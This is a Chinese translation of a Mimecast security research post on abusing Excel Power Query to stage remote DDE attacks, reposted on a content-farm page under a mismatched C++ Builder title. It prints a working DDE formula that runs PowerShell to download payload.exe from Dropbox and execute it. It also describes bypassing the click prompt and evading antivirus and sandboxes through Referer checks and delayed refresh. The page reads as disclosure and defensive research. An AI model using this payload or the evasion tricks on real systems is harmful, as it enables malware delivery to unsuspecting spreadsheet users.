c++ builder 如何获取另一个程序的窗口内容_如何利用Power Query功能实现DDE攻击

本文主要是介绍c++ builder 如何获取另一个程序的窗口内容_如何利用Power Query功能实现DDE攻击,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

译文声明

本文是翻译文章,文章原作者mimecast,文章来源:mimecast.com 原文地址:https://www.mimecast.com/blog/2019/06/exploit-using-microsoft-excel-power-query-for-remote-dde-execution-discovered/

译文仅供参考,具体内容表达以及含义原文为准

56249f6ff6a3f74fbcd4c06ab19c6443.png

0x00 前言

7d732dd6a13e2afdbd62f491d095ce8b.png

Mimecast Threat Center发现并开发了一种攻击技术,可以利用Microsoft Excel中的Power Query功能动态启动针对Excel电子表格的远程DDE(Dynamic Data Exchange)攻击,主动控制利用Power Query的payload。

Power Query是一款强大且可扩展的BI(Business Intelligence,商业智能)工具,可以帮助用户将电子表格与其他数据源(如外部数据库、文本文档、其他电子表格或者web页面等)集成。当链接外部源时,数据可以加载并保存到电子表格中,或者采用动态加载方式(比如当文档打开时再加载)。

Mimecast Threat Center团队发现将Power Query与其他攻击方法结合起来后,可以发起较为复杂的、难以检测的攻击行为。攻击者可以使用Power Query将恶意内容嵌入独立数据源中,然后在电子表格打开时将该内容载入表格中。恶意代码可以用来释放并执行恶意软件,攻陷用户主机。

Excel的这个特性提供了非常丰富的控制功能,可以在投递其他payload之前收集沙箱或者受害者主机的指纹信息。攻击者在攻击和payload投放前可能具备一定的控制能力,可以让沙箱或其他安全解决方案无法检测该文件的情况下,将恶意payload投放到受害者主机中。

Mimecast与微软合作,遵循CVD(Coordinated Vulnerability Disclosure,协调漏洞披露)流程来判断这是Power Query的正常行为还是需要解决的问题。微软目前拒绝发布修复补丁,决定提供一种解决办法来缓解此问题。

在本文中我们将详细分析如何利用Power Query来发起DDE攻击,通过文件共享站点来释放并执行payload。

0x01 利用Power Query的攻击方法

7d732dd6a13e2afdbd62f491d095ce8b.png

由于Power Query是Microsoft Excel中的一款强大工具,因此滥用该功能所能造成的潜在危险也不容忽视。如果成功利用,攻击者可以集合其他潜在的攻击面来发起复杂的攻击,包括本地权限提升、DDE攻击以及远程代码执行等。

Power Query功能可以帮助用户非常方便且动态地嵌入远程内容。这种攻击形式通常难以发现,使攻击者更有机会突破受害者主机。利用Power Query中的潜在脆弱性,攻击者可以嵌入任何恶意payload,并且这些payload不需要保存在文档中,可以在文档打开时从web远程下载。

为了演示如何利用Power Query来启动DDE攻击,我们可以编写一个自定义的简单HTTP服务器,在web页面上托管payload,然后将这个web页面载入电子表格中。HTTP服务器可以在本地80端口上监听,当收到来自电子表格的请求时,返回所需的DDE内容。

=cmd|'/c powershell -command "& { iwr https://www.dropbox.com/s/jo94jn2s3j84mfr/payload.exe?dl=1 -OutFile payload.exe }";cmd /c payload.exe'!A1,

c44956d369c67939340778ea25693f0f.png

Microsoft Excel 2016电子表格使用Power Query来查询我们构造的恶意web页面(http://127.0.0.1:80)。

56efe5aa96a1171f7ce8bd05de72c5b6.png

随后远程内容会被读取并载入电子表格中。

fe6c5b13e317bd366b40c6905f6b3be4.png

我们可以使用Wireshark来捕捉攻击数据流。下图中高亮标记的数据包分别为包含DDE公式的数据包、对dropbox.com的DNS请求(payload.exe托管在Dropbox上)以及用来投放payload的HTTPS会话。

f7487f0fb62b672f5b72b4f178ecb6ab.png

e43c46a29a1a48074aefd03314bad06c.png

0x02 分析文件格式

7d732dd6a13e2afdbd62f491d095ce8b.png

分析文件格式后,我们可以看到table/table1.xml中包含name: “localhost”属性(默认)以及type: “queryTable”属性。

表格以及特定查询表格属性的链接位于.rels流中(_rels/table1.xml.rels),其中包含一个target字段,该字段指向的是../queryTables/queryTable1.xmlquetyTable1.xml会在标签下通过connectionId字段连接到connection.xml(该文件中包含所有文档连接属性)。程序会使用Select *命令通过dbPr对象发起连接。

web查询请求存放在xl\customXL\item1文档中,经过base64编码。

6b46b742e0af4d05457e28beb33f13a5.png

base64解码后,我们打开其中的section1文档,其中就包含查询请求。

56e6d3af40674e9ad816f33287838750.png

为了运行DDE,用户需要双击加载DDE的单元格,然后再次点击释放。这些操作将会触发DDE,启动来自web的payload。

0x03 绕过双击限制实现自动化执行

7d732dd6a13e2afdbd62f491d095ce8b.png

为了绕过“点击运行”限制,我们发现在老版的Microsoft Office对“从Web获取外部数据”的实现与现在版本有所不同。前面提到过,我们使用Microsoft Office 2016时会创建dbPr,用户需要采取某些操作才能激活payload(在沙箱等场景中,这种点击操作会达到沙箱绕过效果)。

当在老版本Office(比如2010)中“从Web获取外部数据”时,在Connections.xml下创建的对象并不是前文提到的dbPr,而是webPr,后者会更加简单。与dbPr不同,webPr并不需要任何用户操作,就可以运行payload。

da2c924622f9d83508d756d6e0b2a7f1.png

0x04 使用Power Query绕过AV及沙箱

7d732dd6a13e2afdbd62f491d095ce8b.png

我们可以在web请求中添加头部字段,使payload能够绕过专门针对这类恶意内容的反病毒软件以及沙箱环境。只有请求中包含特定的HTTP头部字段时,web服务器才会提供恶意内容。反病毒产品会从文件中提取HTTP服务器的URL地址,但并不会去解析头部数据。当AV发送测试请求时,服务器知道该请求来自于AV,而非电子表格。

只有当HTTP头中的Referer字段值设置为www.google.com时,我们才会提供DDE数据。

cd8dcd5639c6fbf3ede21c7b3ee612cb.png

我们可以在Power Query的“高级”模式中设定web请求头。Power Query会使用我们设置的Referer字段来发起web请求。

4d026382359a895ac804e1c4ecd3a388.png

如果另一个程序想尝试部分模拟Power Query的行为,不使用正确的Referer字段请求web页面,就不能得到正确结果。只有使用Microsoft Excel应用来打开原始文档时才能获取payload数据。

dfab9c64d0050f63f6bd94fe6cd4b3b8.png

由于沙箱环境也会在请求中发送自定义头部,因此我们需要一种新的方法来避免被检测。这里我们可以使用Power Query中的“auto refresh”(自动刷新)以及“refresh”(刷新)时间间隔参数。

2b1236d02eca459b1cc7f75a61d456d4.png

为了避免文件中存在恶意内容,使该文件被标记为恶意软件,我们可以强制让文件在打开时刷新数据,然后在保存文件前移除来自外部数据源的数据。这些属性可以确保在文件打开时会更新文件中的payload。我们可以设置文件每分钟刷新一次(这是最短的时间间隔),然后在第10次请求时提供payload数据。这意味着如果沙箱运行该文件的时间少于10分钟,那么就永远拿不到我们的payload。

927a9c34b3449ed4dda8db9bb2793a53.png

对于我们提供的攻击样例,大多数静态分析AV都检测不出该文件(其中并不包含payload数据),而沙箱或其他安全解决方案只会一次或者两次下载web内容,因此也检测不出来。

511955f9aa5e130a99721e7770a27d1e.png

0x05 缓解措施

7d732dd6a13e2afdbd62f491d095ce8b.png

Mimecast Threat Center团队向MRSC(Microsoft Security Response Center)反馈了我们得到的信息以及可用的PoC。MRSC创建了一个case,但决定不修复这种行为,而是采用组策略来组织外部数据连接或者使用Office Trust中心来缓解这个问题。MRSC同意我们根据CVD策略发布此次研究成果。

微软发布了一个安全公告(4053440),提供了为Microsoft Office应用进行安全设置的相关步骤及过程。该公告可以指导用户如何确保应用程序安全处理DDE字段。

攻击者一直都希望能够绕过受害者部署的检测机制。随着时间的推移,由于各种安全专家及信息共享平台都在分享威胁情报数据,因此这类攻击方式可能会被检测出来。Mimecast强烈建议所有Microsoft Excel客户部署微软提供的缓解方案,因为这类攻击方法可以对微软客户造成实际且有破坏性的安全风险。

Mimecast Targeted Threat Protection通过高级深入解析、去混淆处理,对每个文件进行实时代码分析,可以检测并阻止这种攻击技术。

92c1b7f4459248d6acd9f7c555e41821.gif

这篇关于c++ builder 如何获取另一个程序的窗口内容_如何利用Power Query功能实现DDE攻击的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/217227

相关文章

Java如何用乘号来重复字符串的功能

《Java如何用乘号来重复字符串的功能》:本文主要介绍Java使用乘号来重复字符串的功能,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录Java乘号来重复字符串的功能1、利用循环2、使用StringBuilder3、采用 Java 11 引入的String.rep

使用animation.css库快速实现CSS3旋转动画效果

《使用animation.css库快速实现CSS3旋转动画效果》随着Web技术的不断发展,动画效果已经成为了网页设计中不可或缺的一部分,本文将深入探讨animation.css的工作原理,如何使用以及... 目录1. css3动画技术简介2. animation.css库介绍2.1 animation.cs

Java进行日期解析与格式化的实现代码

《Java进行日期解析与格式化的实现代码》使用Java搭配ApacheCommonsLang3和Natty库,可以实现灵活高效的日期解析与格式化,本文将通过相关示例为大家讲讲具体的实践操作,需要的可以... 目录一、背景二、依赖介绍1. Apache Commons Lang32. Natty三、核心实现代

SpringBoot实现接口数据加解密的三种实战方案

《SpringBoot实现接口数据加解密的三种实战方案》在金融支付、用户隐私信息传输等场景中,接口数据若以明文传输,极易被中间人攻击窃取,SpringBoot提供了多种优雅的加解密实现方案,本文将从原... 目录一、为什么需要接口数据加解密?二、核心加解密算法选择1. 对称加密(AES)2. 非对称加密(R

基于Go语言实现Base62编码的三种方式以及对比分析

《基于Go语言实现Base62编码的三种方式以及对比分析》Base62编码是一种在字符编码中使用62个字符的编码方式,在计算机科学中,,Go语言是一种静态类型、编译型语言,它由Google开发并开源,... 目录一、标准库现状与解决方案1. 标准库对比表2. 解决方案完整实现代码(含边界处理)二、关键实现细

使用Python自动化生成PPT并结合LLM生成内容的代码解析

《使用Python自动化生成PPT并结合LLM生成内容的代码解析》PowerPoint是常用的文档工具,但手动设计和排版耗时耗力,本文将展示如何通过Python自动化提取PPT样式并生成新PPT,同时... 目录核心代码解析1. 提取 PPT 样式到 jsON关键步骤:代码片段:2. 应用 JSON 样式到

python通过curl实现访问deepseek的API

《python通过curl实现访问deepseek的API》这篇文章主要为大家详细介绍了python如何通过curl实现访问deepseek的API,文中的示例代码讲解详细,感兴趣的小伙伴可以跟随小编... API申请和充值下面是deepeek的API网站https://platform.deepsee

macOS Sequoia 15.5 发布: 改进邮件和屏幕使用时间功能

《macOSSequoia15.5发布:改进邮件和屏幕使用时间功能》经过常规Beta测试后,新的macOSSequoia15.5现已公开发布,但重要的新功能将被保留到WWDC和... MACOS Sequoia 15.5 正式发布!本次更新为 Mac 用户带来了一系列功能强化、错误修复和安全性提升,进一步增

SpringBoot实现二维码生成的详细步骤与完整代码

《SpringBoot实现二维码生成的详细步骤与完整代码》如今,二维码的应用场景非常广泛,从支付到信息分享,二维码都扮演着重要角色,SpringBoot是一个非常流行的Java基于Spring框架的微... 目录一、环境搭建二、创建 Spring Boot 项目三、引入二维码生成依赖四、编写二维码生成代码五

MyBatisX逆向工程的实现示例

《MyBatisX逆向工程的实现示例》本文主要介绍了MyBatisX逆向工程的实现示例,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学... 目录逆向工程准备好数据库、表安装MyBATisX插件项目连接数据库引入依赖pom.XML生成实体类、